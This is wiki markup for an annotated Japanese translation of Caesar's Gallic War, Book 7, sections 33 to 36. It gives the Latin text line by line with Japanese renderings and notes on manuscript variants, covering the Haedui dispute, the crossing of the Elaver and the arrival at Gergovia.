**しかしながら、[[wikt:ja:内訌|内訌]]からどれほどの災厄が生じることが常であるか、知らないではなかったし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～, [[wikt:en:tamen#Latin|tamen]] …「～ではあるが、しかしながら…」）&lt;/span&gt;
*ne [[wikt:en:tantus#Latin|tanta]] et [[wikt:en:tam#Latin|tam]] [[wikt:en:coniunctus#Latin:_participle|coniuncta]] [[wikt:en:populus#Latin|populo]] [[wikt:en:Romanus#Adjective|Romano]] [[wikt:en:civitas#Latin|civitas]], 
**──これほど大きく、これほどローマ人民と協同している&lt;small&gt;（ハエドゥイーの）&lt;/small&gt;{{ruby|部族国家|キーウィタース}}が、
*quam ipse semper [[wikt:en:aluisset#Latin|aluisset]] [[wikt:en:omnis#Latin|omnibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; rebus [[wikt:en:ornasset#Latin|ornasset]], 
**彼らのことを&lt;small&gt;（カエサル）&lt;/small&gt;自身は常に助成して、かつあらゆる事柄で敬意を表していたのだが、
*ad [[wikt:en:vis#Latin|vim]] atque [[wikt:en:arma#Latin|arma]] [[wikt:en:descenderet#Latin|descenderet]], 
**&lt;small&gt;（彼らが内紛という）&lt;/small&gt;暴力や戦乱に沈み込まないように、
*atque ea pars, quae [[wikt:en:minus#Latin:_adverb|minus]] sibi [[wikt:en:confideret#Latin|confideret]], [[wikt:en:auxilia#Latin|auxilia]] a [[wikt:en:Vercingetorix#Latin|Vercingetorige]] [[wikt:en:arcesseret#Latin|arcesseret]], 
**かつ、自分たちにとって劣勢だと確信している一派が[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の支援を呼び寄せないように──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne ～ civitas, ～ descenderet, ～ arcesseret「～部族が、～沈まないように、～招かないように」）&lt;/span&gt;
*huic rei [[wikt:en:praevertendus#Latin|praevertendum]] [[wikt:en:existimavit#Latin|existimavit]], 
**この事柄は&lt;small&gt;（戦争遂行よりも）&lt;/small&gt;優先されるべき、と考えた。
:　
;　　　ハエドゥイー族の内紛を沙汰すべく、カエサル自らが赴く
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; et, quod [[wikt:en:lex#Latin|legibus]] [[wikt:en:Haedui#Latin|Haeduorum]] iis, qui summum [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:obtinerent#Latin|obtinerent]], [[wikt:en:excedo#Latin|excedere]] ex finibus non [[wikt:en:liceret#Latin|liceret]], 
**──というのは、[[w:ハエドゥイ族|ハエドゥイー族]]の法により、最高官職に就いている者は領土から出ることを許されないので──
*ne [[wikt:en:aliquid#Latin:_pronoun|quid]] de [[wikt:en:ius#Latin:_justice|iure]] aut de [[wikt:en:lex#Latin|legibus]] eorum [[wikt:en:deminuisse#Latin|deminuisse]] [[wikt:en:videretur#Latin|videretur]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;彼らの法令あるいは法制について何ら軽視したとは思われないように、

[[画像:FR-58-Decize29.JPG|thumb|right|250px|デケティア（[[w:la:Decetia|Decetia]]）すなわち現在のドスィーズ（[[w:fr:Decize|Decize]]）の景観。[[w:ハエドゥイ族|ハエドゥイー族]]の版図であった[[w:ニエーヴル県|ニエーヴル県]]の南部にあり、リゲル川（現[[w:ロワール川|ロワール川]]）のほとりに位置している。]]

*ipse in [[wikt:en:Haedui#Latin|Haeduos]] [[wikt:en:proficisci#Latin|proficisci]] [[wikt:en:statuit#Latin|statuit]] 
**&lt;small&gt;（カエサル）&lt;/small&gt;自身がハエドゥイー族のもとに出発することを決心した。
*[[wikt:en:senatus#Latin|senatum]]&lt;nowiki&gt;que&lt;/nowiki&gt; omnem et &lt;u&gt;quos inter [[wikt:en:controversia#Latin|controversia]] [[wikt:en:esset#Latin:_be|esset]]&lt;/u&gt; 
**かつ、&lt;u&gt;評議会&lt;/u&gt;の全員、および紛争が介在しているところの者たちを
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：部族国家の合議制統治機関を、カエサルの『ガリア戦記』では&lt;br&gt;　　　　ローマの元老院になぞらえて [[wikt:en:senatus#Latin|senatus]] と呼んでいるが、&lt;br&gt;　　　　区別して「評議会」と訳す。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：quos inter ～ は、関係節の関係代名詞 quos が&lt;br&gt;　　　　　　　　　　　前置詞 inter の前に出ている語順。）&lt;/span&gt;
*ad se [[wikt:en:Decetia#Latin|Decetiam]] [[wikt:en:evocavit#Latin|evocavit]]. 
**デケティアの自分&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへ呼び出した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：デケティア [[w:la:Decetia|Decetia]] は、現在の[[w:en:Decize|Decize]] ドシーズ（ドゥスィズ&lt;ref&gt;Decize の発音は [[wikt:fr:Decize|Decize]] を参照せよ。&lt;/ref&gt;）であると考えられている。）&lt;/span&gt;

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Cum prope omnis civitas eo [[wikt:en:convenisset#Latin|convenisset]], [[wikt:en:doceretur#Latin|doceretur]]&lt;nowiki&gt;que&lt;/nowiki&gt; 
**部族のほぼすべての&lt;small&gt;（主だった）&lt;/small&gt;者たちがそこに集まっていたときに、&lt;small&gt;（以下のことが）&lt;/small&gt;報知された。
*[[wikt:en:paucus#Latin|paucis]] [[wikt:en:clam#Latin|clam]] [[wikt:en:convocatus#Latin|convocatis]] [[wikt:en:alius#Latin|alio]] loco, [[wikt:en:alius#Latin|alio]] tempore atque [[wikt:en:oportuerit#Latin|oportuerit]], 
**わずかな者たちが密かに、あるべきはずとは別の場所、別の時に呼び集められて、
*[[wikt:en:fratrem#Latin|fratrem]] a [[wikt:en:fratre#Latin|fratre]] [[wikt:en:renuntiatus#Latin|renuntiatum]] &lt;span style=&quot;color:#009900;&quot;&gt;[esse]&lt;/span&gt;, 
**兄により弟&lt;small&gt;（の就位）&lt;/small&gt;が告げられたというのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：前年に統領であった兄ウァレティアクスによって&lt;br&gt;　　　　弟コトゥスの統領への就位が告げられたということであろう。）&lt;/span&gt;
*&lt;span style=&quot;font-size:11pt;&quot;&gt;cum leges &lt;u&gt;duo&lt;/u&gt; ex una familia [[wikt:en:vivus#Latin|vivo]] [[wikt:en:utroque#Latin|utroque]] &lt;u&gt;non solum&lt;/u&gt; [[wikt:en:magistratus#Latin|magistratus]] [[wikt:en:creari#Latin|creari]] [[wikt:en:vetarent#Latin|vetarent]], &lt;u&gt;sed etiam&lt;/u&gt; in [[wikt:en:senatus#Latin|senatu]] esse [[wikt:en:prohiberent#Latin|prohiberent]],&lt;/span&gt; 
**&lt;span style=&quot;font-size:11pt;&quot;&gt;──法が、一家族の2名が双方とも存命中に、統領に選出されるのを禁じるだけでなく、&lt;u&gt;評議会&lt;/u&gt;にいることも禁じているのに──&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：non [[wikt:en:solum#Latin:_adverb|solum]] ～ [[wikt:en:sed#Latin|sed]] [[wikt:en:etiam#Latin|etiam]] …「～のみならず、…もまた」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;･&amp;beta;系写本や写本B･M･Sでは [[wikt:en:duo#Latin|duo]] だが、&lt;br&gt;　　　　　　　　　写本L･Nでは [[wikt:en:duos#Latin|duos]] となっている。）&lt;/span&gt;
*[[wikt:en:Cotus#Latin|Cotum]] [[wikt:en:imperium#Latin|imperium]] [[wikt:en:depono#Latin|deponere]] [[wikt:en:coegit#Latin|coegit]]&lt;!--,--&gt;; 
**（カエサルは）コトゥスに支配権を放棄することを強要した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:Convictolitavis#Latin|Convictolitavem]], qui per [[wikt:en:sacerdos#Latin|sacerdotes]] [[wikt:en:mos#Latin|more]] [[wikt:en:civitas#Latin|civitatis]] [[wikt:en:intermissus#Latin|intermissis]] [[wikt:en:magistratus#Latin|magistratibus]] [[wikt:en:esset#Latin:_be|esset]] [[wikt:en:creatus#Latin|creatus]], 
**コンウィクトリタウィスは、統領が空位になったときに、部族の規則により、&lt;u&gt;祭司&lt;/u&gt;を通じて選出されたので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ここでいう祭司 sacerdos が[[ガリア戦記 第6巻#13節|第6巻13節]]以下で説明された[[w:ドルイド|ドルイド]]と同じか否かは不詳である。）&lt;/span&gt;
*[[wikt:en:potestas#Latin|potestatem]] [[wikt:en:obtineo#Latin|obtinere]] [[wikt:en:iussit#Latin|iussit]].
**&lt;small&gt;（カエサルは彼に）&lt;/small&gt;権力の座に就くことを命じた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===34節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/34節]]　{{進捗|00%|2026-10-18}}&lt;/span&gt;
;ハエドゥイー族を動員し、ローマ軍をカエサルとラビエーヌスの二隊に分散

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Hoc [[wikt:en:decretum#Latin|decreto]] [[wikt:en:interpositus#Latin|interposito]], 
**この裁定を裁決すると、
*[[wikt:en:cohortatus#Latin|cohortatus]] [[wikt:en:Haedui#Latin|Haeduos]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:ハエドゥイ族|ハエドゥイー族]]を&lt;small&gt;（以下のように）&lt;/small&gt;激励して、
*ut [[wikt:en:controversia#Latin|controversiarum]] ac [[wikt:en:dissensio#Latin|dissensionis]] [[wikt:en:obliviscerentur#Latin|obliviscerentur]] 
**&lt;span style=&quot;color:#009900;font-size:20pt;&quot;&gt;【&lt;/span&gt;&lt;small&gt;（部族内部の）&lt;/small&gt;論争や不和を忘れるように、
*atque, omnibus [[wikt:en:omissus#Latin|omissis]] his rebus 
**かつ、これらすべての事情を度外視して、
*huic bello [[wikt:en:servirent#Latin|servirent]], 
**&lt;small&gt;（ウェルキンゲトリークスとの）&lt;/small&gt;この戦争に尽くすように、
*&lt;u&gt;[[wikt:en:ea#Latin:_things|ea]]&lt;nowiki&gt;que&lt;/nowiki&gt;, quae&lt;/u&gt; [[wikt:en:meruissent#Latin|meruissent]], [[wikt:en:praemium#Latin|praemia]] ab se [[wikt:en:devictus#Latin|devicta]] Gallia [[wikt:en:exspectarent#Latin|exspectarent]], 
**ガッリアが征服されたときには&lt;small&gt;（彼らが）&lt;/small&gt;得るに値する自分&lt;small&gt;〔カエサル〕&lt;/small&gt;からの恩賞を期待するように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:ea#Latin:_things|ea]]&lt;nowiki&gt;que&lt;/nowiki&gt; quae は、最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|ed. pr.]] による修正で、&lt;br&gt;　　　　　　　　&amp;alpha;系・&amp;rho;系写本では [[wikt:en:ea#Latin:_things|ea]] quae &lt;br&gt;　　　　　　　　&amp;pi;系写本では atque quae となっている。）&lt;/span&gt;
*[[wikt:en:equitatus#Latin:_cavalry|equitatum]]&lt;nowiki&gt;que&lt;/nowiki&gt; omnem et [[wikt:en:pedes#Latin|peditum]] [[wikt:en:mille#Latin|milia]] X([[wikt:en:decem#Latin|decem]]) sibi celeriter [[wikt:en:mitterent#Latin|mitterent]], 
**&lt;small&gt;（ハエドゥイー族の）&lt;/small&gt;騎兵隊のすべてと歩兵1万名を自分&lt;small&gt;〔カエサル〕&lt;/small&gt;に速やかに派遣するように、
*quae in [[wikt:en:praesidium#Latin|praesidiis]] rei [[wikt:en:frumentarius#Latin|frumentariae]] causa [[wikt:en:disponeret#Latin|disponeret]], 
**それらは糧食供給のために守備隊として分けて置くものである、と&lt;span style=&quot;color:#009900;font-size:20pt;&quot;&gt;】&lt;/span&gt;
*[[wikt:en:exercitus#Latin:_noun|exercitum]] in duas partes [[wikt:en:divisit#Latin|divisit]]: 
**&lt;small&gt;（カエサルは）&lt;/small&gt;軍隊を二つの方面軍に分けた。

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:quattuor#Latin|quattuor]] [[wikt:en:legio#Latin|legiones]] in [[wikt:en:Senones#Latin|Senones]] [[wikt:en:Parisii#Latin|Parisios]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Labienus#Latin|Labieno]] [[wikt:en:ducendus#Latin|ducendas]] [[wikt:en:dedit#Latin|dedit]], 
**4個[[w:ローマ軍団|軍団]]をセノネース族やパリスィイー族のところに率いて行くべく[[w:ティトゥス・ラビエヌス|ラビエーヌス]]に委ねた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ラビエーヌス [[w:la:Titus Labienus|Labienus]] のこの遠征については&lt;br&gt;　　　　[[#57節|57節]]～62節で述べられる。）&lt;/span&gt;
*[[wikt:en:sex#Latin|sex]] ipse in [[wikt:en:Arverni#Latin|Arvernos]] ad oppidum [[wikt:en:Gergovia#Latin|Gergoviam]] 
**6個&lt;small&gt;（軍団）&lt;/small&gt;を自身&lt;small&gt;〔カエサル〕&lt;/small&gt;がアルウェルニー族のところの城塞都市ゲルゴウィアへ
*[[wikt:en:secundum#Preposition_2|secundum]] flumen [[wikt:en:Elaver#Latin|Elaver]] [[wikt:en:duxit#Latin|duxit]]; 
**エラウェル川に沿って率いて行った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：エラウェル川 [[w:la:Elaver|Elaver]] は現在の[[w:アリエ川|アリエ川]] Allier である。）&lt;/span&gt;
[[画像:Brioude pont.JPEG|thumb|right|250px|エラウェル川（[[w:la:Elaver|Elaver]]）こと現在の[[w:アリエ川|アリエ川]]（Allier）。ハエドゥイー族領の境辺りでリゲル川（[[w:la:Liger|Liger]]）こと現[[w:ロワール川|ロワール川]]（[[w:fr:Loire|Loire]]）に合流する。]]
*[[wikt:en:equitatus#Latin:_cavalry|equitatus]] partem illi [[wikt:en:adtribuit#Latin|adtribuit]], 
**騎兵隊の一部を彼&lt;small&gt;〔ラビエーヌス〕&lt;/small&gt;に割り当てて、
*partem sibi [[wikt:en:reliquit#Latin|reliquit]]. 
**&lt;small&gt;（別の）&lt;/small&gt;一部を自分&lt;small&gt;〔カエサル〕&lt;/small&gt;に残した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Qua re [[wikt:en:cognitus#Participle|cognita]] 
**その事を知ると、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は
*omnibus [[wikt:en:interruptus#Latin|interruptis]] eius fluminis [[wikt:en:pons#Latin|pontibus]] 
**その川のすべての橋を破却すると、
*ab [[wikt:en:alter#Latin|altera]] fluminis parte [[wikt:en:iter#Latin|iter]] facere [[wikt:en:coepit#Latin|coepit]].
**川の別の側を行軍し始めた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===35節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/35節]]　{{進捗|00%|2026-10-25}}&lt;/span&gt;
;カエサルが陽動によってエラウェル川に架橋、渡河する

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum uterque &lt;u&gt;utrimque exisset exercitus&lt;/u&gt;, in conspectu, fereque &lt;u&gt;e regione&lt;/u&gt; castris castra &lt;u&gt;ponebant&lt;/u&gt;, 
**&lt;small&gt;（ガッリア勢とローマ勢の）&lt;/small&gt;軍隊の双方が互いに視界にあって、ほぼ真向かいに互いの陣営を設置したときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：一つ目の下線部は、&amp;alpha;系写本では utrimque exisset exercitus だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本では utrique esset exercitui となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：三つ目の下線部は、&amp;alpha;系写本では ponebant だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本では poneret となっている。）&lt;/span&gt;
*dispositis exploratoribus, necubi effecto ponte Romani copias traducerent. 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;ローマ人の軍勢がどこにも橋を造って渡河しないように、偵察者たちを分けて置き、

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Erat in magnis &lt;u&gt;Caesari&lt;/u&gt; difficultatibus res, 
**カエサルにとって事態は大きな困難になっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;pi;系写本では Caesari だが、&lt;br&gt;　　　　&amp;alpha;系写本などでは Caesaris となっている。）&lt;/span&gt;
*ne maiorem aestatis partem flumine impediretur, 
**夏の大部分にわたって&lt;small&gt;（対岸の敵との交戦が）&lt;/small&gt;川により妨げられるのではないか、
*quod non fere ante autumnum Elaver vado transiri solet. 
**──というのは、[[w:アリエ川|エラウェル川]]は秋の前はほとんど浅瀬を渡らない習わしであったからだ──。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Itaque, ne id accideret, 
**こうして、そのことが生じないように、
*silvestri loco castris positis 
**森林地帯に陣営を設置すると、
*&lt;u&gt;e regione&lt;/u&gt; unius eorum pontium, quos Vercingetorix rescindendos curaverat, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が切り裂かれるように手配していたところの橋の一つの真向かいに。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
*postero die cum duabus legionibus &lt;u&gt;in occulto&lt;/u&gt; restitit; 
**翌日に、2個[[w:ローマ軍団|軍団]]とともに密かなところに留まった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_occulto#Latin|in occulto]]「ひそかに」「隠れた所で」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; reliquas copias cum omnibus impedimentis, ut consueverat, misit, 
**残りの軍勢&lt;small&gt;&lt;/small&gt;（＝4個軍団）をすべての輜重とともに、通常のように、出発させた。
*&lt;u&gt;captis&lt;/u&gt; quibusdam cohortibus, uti numerus legionum constare videretur. 
**軍団の数を保っていると（敵から）見られるように、いくつかの&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を含ませていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では captis だが、&lt;br&gt;　　　　写本Rの一部では carptis となっており、&lt;br&gt;　　　　校訂版により、apertis、distractis、sic collocatis などさまざまな修正提案がある。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; His, quam longissime possent, &lt;u&gt;egredi&lt;/u&gt; iussis, 
**彼ら（4個軍団）には、できる限り遠くまで前進することを命じた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では egredi だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では progredi となっている。）&lt;/span&gt;

*cum iam ex diei tempore coniecturam &lt;u&gt;ceperat&lt;/u&gt; in castra perventum, 
**すでに、日の時刻から（彼らが）宿営地に到達したと（カエサルが）推測をしたときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では ceperat だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では caperet となっている。）&lt;/span&gt;

*isdem sublicis, quarum pars inferior integra remanebat, pontem reficere coepit. 
**（前述の）同じ橋杭は、そのより下方の部分が損なわれないで残っていたので、橋を修復し始めた。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Celeriter effecto opere 
**速やかに工事が成し遂げられて、
*legionibusque traductis et loco castris idoneo delecto, 
**&lt;small&gt;&lt;/small&gt;（2個）軍団が渡河させられて、陣営に適切な地点を選んで、
*reliquas copias revocavit. 
**残りの軍勢（＝4個軍団）を呼び戻した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Vercingetorix re cognita, 
**ウェルキンゲトリークスは事態を知って、
*ne contra suam voluntatem dimicare cogeretur, 
**自らの意向に反して&lt;small&gt;&lt;/small&gt;（ローマ勢と）争闘することを強いられないように、
*magnis itineribus antecessit.
**強行軍で&lt;small&gt;&lt;/small&gt;（ゲルゴウィアに向けて）先行した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===36節===
{{wikipedia|ゲルゴウィアの戦い}}
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/36節]]　{{進捗|00%|2026-11-01}}&lt;/span&gt;
;両軍がゲルゴウィアの要衝に陣営を築く
[[画像:FR-63-Gergovie.JPG|thumb|right|300px|ゲルゴウィア（Gergovia）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）の[[w:ピュイ＝ド＝ドーム県|ピュイ＝ド＝ドーム県]]県道978号（D978）からの眺望。19世紀のウジェーヌ・ストッフェル大佐（colonel [[w:fr:Eugène Stoffel|Eugène Stoffel]]）の発掘調査によって、城砦やローマ軍の溝の遺構などが発見され、当地がゲルゴウィアの古戦場だと確認された。]]
[[画像:Siège_GergovieI_-52.png|thumb|right|300px|ゲルゴウィアにおける両軍の布陣図。山の頂にある城塞都市に隣接してガッリア諸部族の陣営（黄色部分）、右方にローマ軍の大きな陣営（赤色部分）と左下にローマ軍の小さな陣営（赤色部分）が見える。推定される位置関係は19世紀のストッフェル大佐の発掘調査に依拠しており、小陣営があった地点は現在のラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）だと考えられている。]]

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar ex eo loco quintis castris [[wikt:en:Gergovia#Latin|Gergoviam]] pervenit 
**カエサルは（渡河した）その地点から5回目の宿営でゲルゴウィアに到着した。
*equestrique eo die proelio levi facto, 
**（到着した）その日に（ガッリア勢と）軽微な[[w:騎兵|騎兵]]戦を闘って、
*perspecto urbis situ, quae posita in altissimo monte omnes aditus difficiles habebat, 
**山の非常に高いところに位置し、すべての接近路を困難なものとしている（ゲルゴウィアの）町の地勢を認識して、
*de &lt;u&gt;expugnatione&lt;/u&gt; desperavit;  
**（拙速に突撃するような）攻略については断念して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:expugnatione#Latin|expugnatione]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:oppugnatione#Latin|oppugnatione]] となっている。）&lt;/span&gt;
*de obsessione non &lt;u&gt;prius&lt;/u&gt; agendum constituit, &lt;u&gt;quam&lt;/u&gt; rem frumentariam expedisset. 
**糧食調達の整備をするより前には、攻囲について行なうべきでないと決心した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：prius ～ quam …「…よりも前に～」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; At Vercingetorix, castris prope oppidum &lt;u&gt;in monte&lt;/u&gt; positis, 
**それに対して、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、山中の城塞都市の近くに陣営を設置して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in monte は &amp;beta;系写本にある記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*mediocribus circum se intervallis separatim singularum &lt;u&gt;civitatum&lt;/u&gt; copias conlocaverat 
**自陣の周りに、適切な間隔で個々の部族の軍勢を別々に駐屯させて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本B･M･L･Nでは [[wikt:en:civitatum#Latin|civitatum]] という語形だが、&lt;br&gt;　　　　　　　　　&amp;chi;系･&amp;beta;系写本･写本Sでは [[wikt:en:civitatium#Latin|civitatium]] の語形となっている。）&lt;/span&gt;

*atque omnibus eius iugi collibus occupatis, qua despici poterat, 
**その尾根のうち（山麓を）見下ろすことができたすべての丘陵を占有して、
*horribilem speciem praebebat; 
**恐ろしげな姿を現わした。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; principesque earum &lt;u&gt;civitatum&lt;/u&gt;, quos sibi ad consilium capiendum delegerat, 
**（ウェルキンゲトリークス）自らが作戦を立てるために選び出していた諸部族の領袖たちに
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の語形については、上述と同様。）&lt;/span&gt;
*prima luce cotidie ad se convenire iubebat, 
**毎日、夜明けに自分のところへ集まることを命じた。
*&lt;u&gt;seu&lt;/u&gt; quid communicandum, &lt;u&gt;seu&lt;/u&gt; quid administrandum videretur, 
**何らかのことを伝達･協議するのか、あるいは何らかのことを指導するのだと思われる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：seu ～ seu …「あるいは～、あるいは…」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; neque ullum fere diem intermittebat, quin equestri proelio interiectis sagittariis, 
**騎兵戦に弓兵を介在させることを、ほとんどどの日も中断せずに、
*quid in quoque esset animi ac virtutis suorum, &lt;u&gt;periclitaretur&lt;/u&gt;. 
**どのような心構えや武勇が、配下の者たちのおのおのにあるかを、吟味した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:periclitaretur#Latin|periclitaretur]] だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:perspiceretur#Latin|perspiceretur]] 、&lt;br&gt;　　　　　　　　　写本Tの一部では [[wikt:en:perspiceret#Latin|perspiceret]] となっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Erat [[wikt:en:e_regione#Latin|e regione]] oppidi collis sub ipsis radicibus montis 
**山のその麓の下方に、城塞都市の真向かいに、丘陵があって、
*egregie munitus atque ex omni parte circumcisus; 
**あらゆる方面から周囲が険しくて、（その地形により）すばらしく護られていた。
*quem si tenerent nostri, et aquae magna parte et pabulatione libera prohibituri hostes videbantur. 
**もし、それを我が方（ローマ勢）が占めれば、水源の大半と自由な糧秣徴発から敵たちを妨げるであろうと思われた。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Sed is locus praesidio ab his, non &lt;u&gt;nimis firmo&lt;/u&gt;, &lt;u&gt;tamen tenebatur&lt;/u&gt;. 
**だが、その地点は、彼ら（ガッリア勢）により、大して強力ではない守備隊で占められていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の nimis firmo は主要写本&amp;omega;の記述だが、''[[ガリア戦記/注解編/写本と校訂版#Zucker|Zucker]]'' による infirmo という修正提案がある。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の tamen tenebatur の語順は、''[[ガリア戦記/注解編/写本と校訂版#Oudendorpius|Oudendorpius]]'' による修正提案で、&lt;br&gt;　　　　　　　　　写本では tenebatur tamen となっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
